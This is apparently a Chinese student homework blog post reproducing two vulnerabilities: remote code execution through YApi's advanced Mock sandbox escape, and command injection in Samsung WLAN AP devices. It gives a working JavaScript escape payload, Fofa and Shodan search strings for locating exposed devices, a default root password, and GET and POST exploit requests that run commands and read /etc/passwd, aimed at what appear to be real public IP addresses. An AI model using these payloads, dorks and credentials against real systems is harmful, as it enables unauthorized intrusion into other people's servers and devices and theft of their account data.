9.7作业

yapi 由 YMFE开源,旨在为开发、产品、测试人员提供更优雅的接口管理服务,可以帮助开发者轻松创建、发布、维护API。

 

安全人员在Yapi官方Github仓库提交了漏洞issues,地址为:    Yapi 存在远程命令执行漏洞 · Issue #2233 · YMFE/yapi · GitHub

二:漏洞复现

步骤一:Fofa搜索一下语句并随便打开一个页面

。icon_hash="-715193973"

步骤二:点进注册页面填写好注册信息,并登录进去...

步骤三:点击添加项目并填写好信息进行创建,添加接口并填写相关信息

 

步骤四:创建好接口后进入界面点击高级Mock添加一下代码执行查看内核信息的命令并进行保存...再次点击预览访问Mock地址可查看执行结果。再次判断为Docker环境,无实际可利用位置....

const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("uname -a").toString()

第二个作业

二:漏洞复现

Fofa语法:

title=="Samsung WLAN AP"

Shodan语法:

title:"Samsung WLAN AP"

默认密码:

username:root
password:sweap12~

》》》手工利用《《《

步骤一:以下为GET请求POC...

 

 

http://222.114.18.19/(download)/tmp/a.txt?command1=shell:ifconfig|%20dd%20of=/tmp/a.txt

步骤二:以下为POST请求的POC...

 

POST /(download)/tmp/a.txt HTTP/1.1
Host: 224.114.18.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 45

command1=shell:ifconfig| dd of=/tmp/a.txt

步骤三:读取/etc/passwd文件,可以查看登录root用户的加密密码进行解密...也可用默认密码登录....

http://125.135.16.159/(download)/tmp/a.txt?command1=shell:cat /etc/passwd|%20dd%20of=/tmp/a.txt

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值